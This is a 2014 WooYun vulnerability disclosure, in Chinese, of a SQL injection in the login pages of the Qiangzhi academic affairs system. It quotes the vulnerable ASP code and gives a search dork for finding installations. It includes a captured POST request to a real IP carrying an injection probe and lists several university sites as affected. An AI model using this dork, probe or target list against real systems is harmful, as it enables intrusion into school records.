当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-074128

漏洞标题：强智教务系统登陆框Sql注入

相关厂商：cncert国家互联网应急中心

漏洞作者： xlz0iza1

提交时间：2014-08-28 14:56

修复时间：2014-11-26 14:58

公开时间：2014-11-26 14:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-28： 细节已通知厂商并且等待厂商处理中
2014-09-02： 厂商已经确认，细节仅向厂商公开
2014-09-05： 细节向第三方安全合作伙伴开放
2014-10-27： 细节向核心白帽子及相关领域专家公开
2014-11-06： 细节向普通白帽子公开
2014-11-16： 细节向实习白帽子公开
2014-11-26： 细节向公众公开

简要描述：

RT

详细说明：

文件：\JwGl\logincheck.asp
\JwXs\LoginCheck.asp
\JwAdmin\LoginCheck.asp 

多处登陆框注入，我这里只贴出第一个文件的代码了哦。
OpenWindow = trim(Request("OpenWindow"))
' = ""
Response.Cookies("OpenWindow") = trim(Request("OpenWindow"))
'Response.Write OpenWindow
'Response.write Request.Cookies("OpenWindow")
'Response.End 
	set conn=server.CreateObject("Adodb.connection")
	'on error resume next
	conn.Open connstring
   if Trim(Request("LoginLb")) = "jwc" then
   		SQL = "Select UserMemo from Usertable where account ='"&trim(request("account"))&"' "
		set rs = conn.execute(sql,,1)
   		If Not Rs.EOF then
		   if isnull(rs("UserMemo")) or trim(rs("UserMemo")) = "" then


account
参数没有过滤处理直接查询。

关键词：inurl:Public/ShowGGTZ.asp?GGTZID=


QQ图片20140827211404.jpg


QQ图片20140827212519.jpg


用户量还是蛮多的嘛。

漏洞证明：

案例验证：
类别选项这里不同的文件和权限登陆的，都是存在的注入点。

QQ图片20140827211642.jpg


QQ图片20140827211750.jpg


抓包：

POST /jiaowu/JwGl/LoginCheck.asp?datetime=2014-08-27%2020:37:26 HTTP/1.1
Host: 61.191.176.119
Proxy-Connection: keep-alive
Content-Length: 148
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://61.191.176.119
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://61.191.176.119/jiaowu/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDQAQDSSQA=FFFHPIICBACKHCIIJENMLCEP
logindate=&LoginLb=jzg&x=31&y=23&Account=1111&PassWord=0%29-%25&CheckCode=5284&AccessID=20140827203726.7581446&DiskNumber=&EnRndNum=1729592&dogcode=


QQ图片20140827212259.jpg


其他相关案例：http://cj.bucea.edu.cn/
              http://xuanke.jgsu.edu.cn/
              http://114.255.66.248/jiaowu/


QQ图片20140827212633.jpg


QQ图片20140827212706.jpg


QQ图片20140827212758.jpg


修复方案：

过滤啊，看前面厂商回复过一个漏洞，说用户配置问题，我觉得提醒用户才是最重要的，要对自己的用户负责。

版权声明：转载请注明来源 xlz0iza1@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2014-09-02 11:07

厂商回复：

最新状态：

暂无